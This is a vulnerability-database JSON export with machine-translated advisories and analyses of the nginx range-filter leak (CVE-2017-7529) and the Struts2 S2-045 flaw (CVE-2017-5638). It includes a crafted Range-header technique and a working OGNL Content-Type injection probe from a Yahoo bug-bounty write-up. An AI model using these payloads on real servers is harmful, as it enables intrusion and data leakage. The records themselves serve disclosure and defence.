false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": true, "obtainUserPrivilege": false}, "cvelist": ["CVE-2010-0738", "CVE-2010-1428", "CVE-2010-1870", "CVE-2011-3923", "CVE-2013-1966", "CVE-2013-2134", "CVE-2013-2251", "CVE-2014-4210", "CVE-2015-7501", "CVE-2016-3081", "CVE-2016-4437", "CVE-2017-1000353", "CVE-2017-10271", "CVE-2017-12615", "CVE-2017-12629", "CVE-2017-3506", "CVE-2017-5638", "CVE-2017-9791", "CVE-2017-9805", "CVE-2018-1000861", "CVE-2018-11776", "CVE-2018-20062", "CVE-2018-2894", "CVE-2018-7600", "CVE-2018-7602", "CVE-2019-0193", "CVE-2019-0230", "CVE-2019-17558", "CVE-2019-2725", "CVE-2019-2729", "CVE-2019-6340", "CVE-2019-7238", "CVE-2019-9082", "CVE-2020-10199", "CVE-2020-14882", "CVE-2020-1938", "CVE-2020-2551", "CVE-2020-2555", "CVE-2020-2729", "CVE-2020-2883"], "modified": "2020-12-25T11:30:06", "id": "KITPLOIT:5420210148456420402", "href": "http://www.kitploit.com/2020/12/vulmap-web-vulnerability-scanning-and.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "paloalto": [{"lastseen": "2023-06-05T15:28:41", "description": "Nginx web-server included with PAN-OS is vulnerable to an integer overflow vulnerability that can leak potentially a cache file header if a response was returned from cache.\n\nThis issue affects:\nPAN-OS 7.1 versions earlier than 7.1.26;\nPAN-OS 8.1 versions earlier than 8.1.13;\nPAN-OS 9.0 versions earlier than 9.0.6;\nAll versions of PAN-OS 8.0.\n\n**Work around:**\nAttacks against CVE-2017-7529 can be blocked with signatures for Unique Threat ID 33070 enabled on a different firewall configured to protect the vulnerable management interfaces.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2020-05-13T16:00:00", "type": "paloalto", "title": "PAN-OS: Nginx integer overflow may lead to information leak", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-7529"], "modified": "2020-05-13T16:00:00", "id": "PA-CVE-2017-7529", "href": "https://securityadvisories.paloaltonetworks.com/CVE-2017-7529", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}], "myhack58": [{"lastseen": "2017-07-14T06:19:32", "description": "I. background description \nA security issue was identified in the nginx range filter. A specially crafted request might result in an integer overflow and incorrect processing of ranges, potentially resulting in sensitive information leak (CVE-2017-7529). \n\\-- http://mailman.nginx.org/pipermail/nginx-announce/2017/000200.html \nIn 2017 7 on 11 May, Nginx in the official announcement that found a range filter in the security issues. Through a carefully constructed malicious requests could cause an integer overflow, the scope of improper processing will result in sensitive information leakage. And assigned CVE-2017-7529 in. \nII. Vulnerability overview \nWhen using the nginx standard module, the attacker can send a malicious construct a range field of the header of the request to obtain the response in the cache file header information. In some configurations, the cache file header may contain the back-end server's IP address or other sensitive information, resulting in information disclosure. \nIII. Vulnerability impact \nAffect \nThe vulnerability affects all 0. 5. 6 - 1.13.2 version within the default configuration of the modules of Nginx only need to open the cache the attacker can send a malicious request to a remote attack causing information leak. \nWhen the Nginx server is using a proxy cache in the case the attacker by exploiting the vulnerability can get to the server after the end of the real IP or other sensitive information. \nThrough our analysis of the determination of the exploitability of the vulnerability of low difficulty can be attributed to the low-hanging-fruit vulnerabilities in real network attack also has a certain use value. \nImpact version \nNginx version 0.5.6 - 1.13.2 \nFix version \nNginx version 1.13.3, 1.12.1 \nIV. Repair recommendations \nThe official patch is already in 7 on 11 December release \nhttp://mailman.nginx.org/pipermail/nginx-announce/2017/000200.html \nhttp://nginx.org/download/patch.2017.ranges.txt \nRecommends that affected users upgrade as soon as possible to 1. 13. 3, 1.12.1 or timely patch \nV. vulnerability details \nBrief Technical details \nBy looking at the patch to determine the problem is due to the http header in the range domain processing caused by improper, the focus in ngx_http_range_parse function in a loop: \n! [](/Article/UploadPic/2017-7/201771491247594. png? www. myhack58. com) \n! [](/Article/UploadPic/2017-7/201771491248708. png? www. myhack58. com) \nHTTP header range domain the content is about Range: bytes=4096-8192 \nbytes=-string pointer p is\u201cbytes=\u201dbehind the content \nThis code is to put\u201c-\u201don both sides of the numbers removed were assigned to the start and end variable markers to read the file offset and the end position. \nFor the General page of the file these two values are how to play are okay. But for the Extra the head of the cache file if the start value is a negative right negative value then it means that the cache file header will be read. \nA cache file of the examples: \n! [](/Article/UploadPic/2017-7/201771491248622. png? www. myhack58. com) \nSo we look at how to construct the Range to the start of the design is negative. \nThe first code in the cutoff and cutlim valve the amount of the guarantee each time directly from the string when reading does not make the start or end to a negative value. Then can make start is negative, the chance is only in the suffix tag is a really small branch. \nTherefore we need to make the suffix = 1 thus can be extrapolated to the Range of content is bound to Range:bytes=-xxx that is, omit the initial start value of the form. \nThen we can through the Range, set the end value is greater than content_length\uff08true the length of the file, so the start will automatically be corrected to a negative value. \nBut in the written use of the process found a problem if the end value is large then the start of the absolute value will also be the General Assembly more than the cache file starting the head to cause the read to fail. If the end value is not large enough then in terms of down size = end \u2013 1 >= content_length \uff08end > content_length see previously described is not circulating through the outside of the detection: \n! [](/Article/UploadPic/2017-7/201771491248302. png? www. myhack58. com) \nSo it seems no matter set end why the values are not reached. Continue to follow the code found in this loop is an unconditional loop: \n! [](/Article/UploadPic/2017-7/201771491248191. png? www. myhack58. com) \nTail: \n! [](/Article/UploadPic/2017-7/201771491248988. png? www. myhack58. com) \nThat is if the Range of the domain-such as Range: bytes=start-end,start1-end1,...will also have the opportunity to continue to complete the exploit. \nWe can construct a Range: bytes=-X, -Y \nOne large and one small two end values only need to control the front with one end a small value and then an end value is large in order to achieve the start value and the size value are all negative, the control start value is a negative to a suitable location, then you can be successful using the read to the cache file header. \nVI. Exploit verification \nBy default, Nginx module configuration to open the cache: \n! [](/Article/UploadPic/2017-7/201771491248384. png? www. myhack58. com) \nCache file contents are as follows: \n! [](/Article/UploadPic/2017-7/201771491248619. png? www. myhack58. com) \nTo exploit the vulnerability successfully read the reverse of cross-border read 491 bytes: \n! [](/Article/UploadPic/2017-7/201771491248489. png? www. myhack58. com) \nVII. Timeline \n2017-7-11 Nginx official released a security announcement and patch \n2017-7-12 360CERT( https://cert.360.cn )to complete the vulnerability analysis and use case analysis \n2017-7-13 the release of the early warning analysis advertisement \nVIII. Reference source \nhttp://mailman.nginx.org/pipermail/nginx-announce/2017/000200.html \nhttp://nginx.org/download/patch.2017.ranges.txt \n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 7.5, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 3.6}, "published": "2017-07-14T00:00:00", "type": "myhack58", "title": "The Nginx range filter plastic overflow vulnerability (CVE\u20132017\u20137529)early warning analysis-vulnerability warning-the black bar safety net", "bulletinFamily": "info", "hackapp": {}, "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-7529"], "modified": "2017-07-14T00:00:00", "id": "MYHACK58:62201787861", "href": "http://www.myhack58.com/Article/html/3/62/2017/87861.htm", "sourceData": "", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2017-03-16T03:17:43", "description": "Author: janes(know Chong Yu 404 laboratory)\n\nDate: 2017-03-15\n\n## Background description\n\nStruts2 official to GMT 2017 3 December 6, 10pm published Struts2 there is a remote code execution vulnerability vulnerability number S2-045, CVE number: CVE-2017-5638, and rated as high-risk vulnerabilities. Because the vulnerability affects a wide range of\uff08Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10, the vulnerability degree of harm is severe, you can directly access the application system of the server where the control limit, and 3 on 7 May in the morning on the Internet on the outflow of the vulnerability of the PoC and Exp,so, S2-045 vulnerability in the Internet on the impact of rapid expansion, by the Internet companies and the government attach great importance. From vulnerability announcement to now(3.6-3.15)has been more than a week, so take this opportunity to analyze S2-045 in the social media Twitter and on Sina Weibo heat distribution.\n\n## Data acquisition\n\nIf you want to analyze Twitter and on Sina Weibo, S2-045 vulnerability of the heat distribution, then you need to get Twiiter and Facebook on the data, with the data speak. So they use\u201cselenium+phantomjs\u201dgo crawling the data via Twitter and Sina Weibo web page to the search interface, respectively, search for the keyword\u201cs2-045\u201dand\u201cCVE-2017-5638\u201d, then the search results go to the weight and finishing, taking to Twitter and Facebook, the time display of the time zone inconsistencies, using the same crawl page timestamp and then converted to the local time of the way of a unified time zone issues, the crawling data in the time to 2017 year 3 month 14 days afternoon 18 when, the results as shown below.\n\n* Twitter! [](/Article/UploadPic/2017-3/2017316104811455. png)\n\n* Sina Weibo! [](/Article/UploadPic/2017-3/2017316104812512. png)\n\n## Heat analysis\n\nStatistics daily S2-045 vulnerability in the Twitter and on Sina Weibo, the number of occurrences, to obtain the following table, Twitter, the CCP appears 73 times, Sina Weibo, the CCP appears 45 times. On the dissemination of the amount of data, S2-045 vulnerability of the data amount is not large, this reflected from the side of the security vulnerabilities of the information and not by the majority of the people of concern, mainly in the security circle propagation.\n\n| Social media | 3 December 7 | 3 8 March | 3 April 9 | 3 October 10 | 3 11 March | 3 November 12 | 3 13 February | 3 March 14 \n---|---|---|---|---|---|---|---|--- \nTwitter| 16 | 3 | 7 | 15 | 6 | 11 | 15 | 0 \nSina Weibo| 23 | 8 | 7 | 3 | 0 | 0 | 1 | 3 \n\n! [](/Article/UploadPic/2017-3/2017316104812815. png)\n\nUsing the above table of data, production of graphics, get as on the heat distribution from the figure it can be seen:\n\n* 3 month 6 day before the announcement of the S2-045 vulnerability, 3 on 7, on Twitter and on Sina Weibo, the occurrence of the outbreak spread, which is likely to and vulnerabilities of the PoC and Exp in 3 month 7 days you on the Internet widely spread about;\n* Sina Weibo, S2-045 vulnerability to the heat distribution of the overall downward state, in the peak in 3 month 7 days, while Twitter as a whole was undulating trend, 3 on 7th, 3 on 10th and 3 on 13 September are peak;\n* Sina Weibo and Twitter for both the overall potential is not the same, and in 3 on the 7th, Sina Weibo and Twitter are data of the highest peak, but Sina Weibo, the amount of data than Twitter.\n\nThere may be several reasons could explain this phenomenon:\n\n* S2-045 vulnerability is the Chinese found that, 3 on 6 September evening, the official publication of the vulnerability, 3 on 7 on the morning of the vulnerabilities of the PoC and Exp in domestic Internet flow out, by domestic security company-wide attention, this also would explain the 3 on 7 The New Wave of microblogging amount of data over the Twitter phenomenon;\n* Due to the S2-045 vulnerability to serious harm, and quickly spread out of PoC and Exp, and therefore, 3 on 7 August, the domestic security companies will quickly start the emergency response, other Internet companies also in self-examination and patch S2-045 vulnerability, with the vulnerability of repair, on Sina Weibo, the attention naturally reduces, the overall will show a downward trend;\n* Twitter user distribution of a wide range of countries or regions affected by the S2-045 the influence is different, therefore trends appear UPS and downs.\n\n3 December 7, Sina Weibo and Twitter are data peak, then the 3 on 7, data, time period distribution mapping as follows, As can be seen, the morning 8 When before, Sina Weibo and Twitter, the amount of data is 0, 8 to 10 period rooms began to appear, it seems, and working hours more in line with the, The and the data the peak occurred mainly in the afternoon 14 to 18 between, perhaps this is because PoC and Exp on the Internet widely spread, caused the Internet began to be mass attack(reference [HackerNews Struts2 vulnerability disclosure 24 hour](<http://hackernews.cc/archives/7371>)) to.\n\n! [](/Article/UploadPic/2017-3/2017316104812327. png)\n\nFinally, look at Twitter and Sina Weibo on on S2-045 vulnerability in the first message what time and by whom issued, and the results are shown in the following table. Twitter and Sina microblogging issued the first message is not the same person, but the transmission time difference is not much, visible at home and abroad to exploit the perceptual capacity is relatively quite.\n\nIbid., the times are Beijing time, according to the unix time stamp conversion.\n\nSocial media | time | nickname | real identity\n---|---|---|--- \nTwitter | 2017-03-07 09:29:00 | @amannk | \nSina Weibo | 2017-03-07 09:44:29 | gnaw0725 | nsfocus Brand Manager Wang Yang\n\n**[1] [[2]](<84379_2.htm>) [next](<84379_2.htm>)**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2017-03-16T00:00:00", "type": "myhack58", "title": "The Struts S2-045 vulnerability heat analysis-vulnerability warning-the black bar safety net", "bulletinFamily": "info", "hackapp": {}, "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-16T00:00:00", "id": "MYHACK58:62201784379", "href": "http://www.myhack58.com/Article/html/3/62/2017/84379.htm", "sourceData": "", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2017-03-07T09:25:02", "description": "Recently, the national information security vulnerabilities library CNNVD received on the Apache Struts2 \uff08S2-045 remote code execution vulnerability CNNVD-201703-152 the case of the message send. Because the vulnerability affects a wide range of hazard level high, the national information security vulnerabilities library CNNVD for the tracking analysis, the situation is as follows: \nA, vulnerability introduction\nApache Struts is a United States Apache\uff08the Apache Software Foundation is responsible for the maintenance of an open source project, is used to create enterprise-class Java Web application open source MVC framework, mainly to provide two versions of the frame product: Struts 1 and Struts 2 of. \nApacheStruts 2.3.5 \u2013 2.3. 31 version and 2. 5 \u2013 2.5.10 version there is a remote code execution vulnerability CNNVD-201703-152, CVE-2017-5638 it. The vulnerability is due to the upload functionality of the exception handling function does not properly handle user input error information. Lead to a remote attacker by sending malicious packets that exploit the vulnerability in the affected on the server execute arbitrary commands. \nSecond, the vulnerability to hazards\nAn attacker can send malformed HTTP packet to exploit the vulnerability in the affected server to perform system commands, and further can completely control the server, causing a denial of service, data leakage, website creation tampering and other effects. Since the exploit without any pre-conditions such as open dmi, debug, and other functions, and enable any plugins, and therefore vulnerability to harm is more serious. \nThird, the repair measures\nCurrently, the Apache official has been directed to the vulnerabilities released a security announcement. Please the affected users to check whether or not affected by the vulnerability. \nSelf-examination manner\n\u7528\u6237 \u53ef \u67e5\u770b web \u76ee\u5f55 \u4e0b /WEB-INF/lib/ \u76ee\u5f55 \u4e0b \u7684 struts-core.x.x.jar file, if the version in Struts2. 3. 5 to Struts2. 3. 31 and Struts2. 5 to Struts2. 5. 10 between the presence of vulnerabilities. \nUpgrade repair\nAffected users can upgrade to version to Apache Struts 2.3.32 or Apache Struts 2.5.10.1 to eliminate the vulnerability. \nTemporary relief\nAs the user inconvenient to upgrade, may take the following temporary solution: \nl delete commons-fileupload-x. x. x. the jar file will cause the upload function is not available. \n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2017-03-07T00:00:00", "type": "myhack58", "title": "About Apache Struts2\uff08S2-045\uff09vulnerability briefings-vulnerability warning-the black bar safety net", "bulletinFamily": "info", "hackapp": {}, "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-07T00:00:00", "id": "MYHACK58:62201784024", "href": "http://www.myhack58.com/Article/html/3/62/2017/84024.htm", "sourceData": "", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2017-06-07T13:16:58", "description": "I always believe to share with people is a good trait, and I'm also from the vulnerability reward in the field of multi-bit security research experts learned a lot to make me last a lifetime things, so I decided in this article to share with you some of my recent little discovery, hope these things can help you Freebuf of friends early on their own vulnerability reward trip. \n! [](/Article/UploadPic/2017-6/201767192643555. png? www. myhack58. com) \nJust a few months ago, a security research expert in Apache Struts2, found a serious security vulnerability, CVE-2017-5638, probably some of you have heard of this thing. This is a remote code execution vulnerability, then Internet in a large number of Web applications are affected by this vulnerability. About three weeks later, researchers released the Struts2 exploit code. \nIn a dig before the Investigative process, I came across the following link: \nhttps://svdevems01.direct.gq1.yahoo.com/sm/login.jsp \nThis is Yahoo the a login page. \n! [](/Article/UploadPic/2017-6/201767192643648. png? www. myhack58. com) \nI have tried in this page find the vulnerability, but unfortunately I didn't find until I found the following nodes: \nhttps://svdevems01.direct.gq1.yahoo.com/sm/login/loginpagecontentgrabber.do \nNote: If you find a node address contains. action,. do or. go, then, this indicates that this Web application to run a Struts2 to. \nAs I said before, for the Struts2 vulnerability exploit code has been released, and this vulnerability using the process is also very simple. Although I know here there is vulnerability, but ready-made exploit code here does not work, so I feel may be a Web application firewall in the mischief, or that some of the things shield my attack. \nSince I was able to determine where there is indeed a vulnerability, so I couldn't stop. But if you want to submit a valid vulnerability, I have to provide a viable PoC to prove this vulnerability is valuable. After a period of research, I found an article tweet this article tweet describes how to pass a Payload to bypass the WAF and be successfully exploited this vulnerability. \nI the use of detection methods require the use of Content-Type HTTP header to send a specially crafted data packet, the header data as shown below: \nContent-Type:%{#context[\u2018com. opensymphony. xwork2. dispatcher. HttpServletResponse\u2019]. addHeader(\u2018X-Ack-Th3g3nt3lman-POC\u2019,4*4)}. multipart/form-data \nThis specially constructed request can not only make[the Web server](<http://www.myhack58.com/Article/sort099/sort0100/Article_100_1.htm>)to calculate the two multiplied by the number, and you can also request a[Web server](<http://www.myhack58.com/Article/sort099/sort0100/Article_100_1.htm>)for any other form of operation. In the above example, the request to calculate the value of 4 * 4, the server returns the result of 16, which means that this server is the presence of security vulnerabilities. \nAs shown in the following figure, the response data will contain the new header, i.e. X-Ack-Th3g3nt3lman-POC: 16 \n! [](/Article/UploadPic/2017-6/201767192643394. png? www. myhack58. com) \nThese have enough I'm through HackerOne to Yahoo to submit a vulnerability report, Yahoo skilled in the art after receiving the report within 30 minutes of the vulnerabilities were classified, and then promptly will be the presence of vulnerabilities the application offline to fix this issue, a few days later I received a Yahoo to provide me with the 5500 knife vulnerability bonus. \nIn fact, digging a hole is not difficult, as long as you are willing to spend time, willing to move the brain to think, I believe thousands of dollars of vulnerability bonuses to everyone or can be easily in the bag. Finally, I hope my these little can be found to everyone in the burrow in the process bring some inspiration. \n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2017-06-07T00:00:00", "type": "myhack58", "title": "Burrow experience | to see how I find the Yahoo remote code execution vulnerability and get the 5500 knife bonus-vulnerability warning-the black bar safety net", "bulletinFamily": "info", "hackapp": {}, "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2017-06-07T00:00:00", "id": "MYHACK58:62201786819", "href": "http://www.myhack58.com/Article/html/3/62/2017/86819.htm", "sourceData": "", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-07-10T13:31:12", "description": "0\u00d71 Overview \nMany business websites use the Apache open source project to build a http server, which is most of the use of the Apache sub-project of Struts in. But since the Apache Struts2 Product code there are more risks, beginning in 2007, Struts2 will frequently broke multiple high-risk vulnerabilities. \nFrom the Apache official data, from 2007 to 2018 total published number S2-001 to S2-056 total of 56 vulnerabilities, of which only a remote code execution vulnerability Remote Code Execution on a 9. \n! [](/Article/UploadPic/2018-7/2018710164555841. png? www. myhack58. com) \n2017 3 months was reported out of the S2-045\uff08CVE-2017-5638 high-risk vulnerabilities, based on Jakarta Multipart parser implementation file upload may lead to an RCE, the impact of the range of the Struts 2.3.5 \u2013 Struts 2.3.31, as well as the Struts 2.5 \u2013 Struts 2.5.10 version, persists to be utilized for an attack. \n2018 year 4 months Tencent Yu see Threat Intelligence Center had been monitoring the hacker group exploit this vulnerability bulk of the invasion[the web server](<http://www.myhack58.com/Article/sort099/sort0100/Article_100_1.htm>)implantation mining Trojan\uff08for more details, see the enterprise not fix Apache Struts 2 vulnerability-induced[Web server](<http://www.myhack58.com/Article/sort099/sort0100/Article_100_1.htm>)is the bulk of the invasion article, the recent Royal to see the Threat Intelligence Center is again monitored a similar attack. \nThis attack, hackers use attack tools WinStr045 detecting the presence on the network vulnerability[web server](<http://www.myhack58.com/Article/sort099/sort0100/Article_100_1.htm>), found that the presence of vulnerability of the machine through a remote execution of various types of instruction provide the right to, create, account, system information gathering, and then will be used to download the Trojan mas. exe the implant, then the use of mas. exe this Trojan Downloader from the plurality of C&C;address to download more Trojans: the \u5229\u7528\u63d0\u6743\u6728\u9a6co3/o6.exe and \u6316\u77ff\u6728\u9a6cnetxmr4.0.exe the. \nSince the bitcoin mining Trojan netxmr the decryption code after the module name\u201ckoi\u201dis loaded, therefore, Tencent Yu see Threat Intelligence Center will be named for KoiMiner it. Interestingly, intruders to ensure your mining success, it will check the system processes, CPU resource consumption, and if CPU usage exceeds 40%, it will be the end of the Run, will save the system resources for the mining of. \nAccording to the code traceability analysis, Tencent Yu see Threat Intelligence Center researchers believe that this KoiMiner series mining Trojan is probably some hacker forums, underground mining organizations to share in the community more people cooperation of the\u201cpractice\u201dworks. \n! [](/Article/UploadPic/2018-7/2018710164555994. png? www. myhack58. com) \nAttack process \nNote: Struts is based on MVC design pattern Web application framework, the user use of the framework can be business logic code from the presentation layer clearly separated, so as to focus on the business logic and the mapping relationship between the configuration file. Struts2 is Struts and WebWork combination, a combination of Struts and WebWork advantages, the use of interceptor mechanisms to process the user's request, so that business logic can with ServletAPI completely out of the opening. \n0\u00d72 a detailed analysis of the \n0 x 2.1 intrusion \nThe detection of the target system whether the presence of S2-045 vulnerability \n! [](/Article/UploadPic/2018-7/2018710164555176. png? www. myhack58. com) \nThe presence of the vulnerability of the system to attack \n! [](/Article/UploadPic/2018-7/2018710164555748. png? www. myhack58. com) \nInvasion tool for the selection of osmotic command \n! [](/Article/UploadPic/2018-7/2018710164555749. png? www. myhack58. com) \nThe invasion can be selected when execution of the command can also be self-defined,choose the command Windows, linux, penetration of commonly used commands, including viewing system version information, network connection status, port open status and add to the system with administrator privileges to the new user, open the remote connection service and other operations. \n! [](/Article/UploadPic/2018-7/2018710164555928. png? www. myhack58. com) \nThrough the directory view command to confirm C:\\Windows\\Help directory and C:\\ProgramData whether the directory has been implanted Trojan, if not then the mas. exe Trojan infection. The time of implantation to first create the C#code to text mas. cs, \u7136\u540e\u4f7f\u7528.NET\u7a0b\u5e8f\u5c06\u5176\u7f16\u8bd1\u4e3a\u53ef\u6267\u884c\u6587\u4ef6mas.exe the. \nFirst execute the command to create a mas. cs and write The for download code. \n! [](/Article/UploadPic/2018-7/2018710164555437. png? www. myhack58. com) \n\u7136\u540e\u6267\u884c\u547d\u4ee4\u5c06mas.cs\u901a\u8fc7.NET\u7a0b\u5e8f\u7f16\u8bd1\u4e3amas.exe the. \n! [](/Article/UploadPic/2018-7/2018710164555672. png? www. myhack58. com) \nCommand in the use of mas. exe download mining Trojan netxmr4. To 0. \n! [](/Article/UploadPic/2018-7/2018710164555433. png? www. myhack58. com) \nPart of the attack objectives are as follows: \n! [](/Article/UploadPic/2018-7/2018710164555651. jpg? www. myhack58. com) \nImplantation of mas. the exe size is only 4k,is stored in the directory ProgramData. From Yu see Threat Intelligence Center monitoring and recording can be seen, mas.exe\u4ece\u591a\u4e2aC2\u5730\u5740\u4e0b\u8f7d\u4e86netxmr4.exe(mining Trojan), the o3.exe/o6.exe(providing the right to Trojans)and other Trojans. \n! [](/Article/UploadPic/2018-7/2018710164555713. png? www. myhack58. com)\n\n**[1] [[2]](<90758_2.htm>) [[3]](<90758_3.htm>) [[4]](<90758_4.htm>) [next](<90758_2.htm>)**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2018-07-10T00:00:00", "type": "myhack58", "title": "Apache Struts2 high-risk vulnerabilities cause the Enterprise Server is the invasion mounted KoiMiner mining Trojan-vulnerability warning-the black bar safety net", "bulletinFamily": "info", "hackapp": {}, "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2018-07-10T00:00:00", "id": "MYHACK58:62201890758", "href": "http://www.myhack58.com/Article/html/3/62/2018/90758.htm", "sourceData": "", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2017-03-07T09:25:04", "description": "! [](/Article/UploadPic/2017-3/201737152244987. png? www. myhack58. com) \nFreeBuf last exposure of the Struts 2 vulnerability is already more than six months ago. This vulnerability is a RCE remote code execution vulnerability. Simple to say, based on Jakarta Multipart resolver for file upload, exploit the vulnerability for remote code execution. The vulnerability by the constant information Nike Zheng reported. \nApache Struts is a United States Apache\uff08the Apache Software Foundation is responsible for the maintenance of an open source project, is used to create enterprise-class Java Web application open source MVC framework. \nVulnerability number\nCVE-2017-5638 \nVulnerability description\nThe Struts use the Jakarta parsing file upload request packet properly, when the remote attacker would construct a malicious Content-Type that could lead to remote command execution. \nIn fact in default. properties file, struts. multipart. parser of values there are two options, namely jakarta and pell in the original actually there is a third option cos it. Wherein the jakarta parser is the Struts 2 framework of the standard components. By default, jakarta is 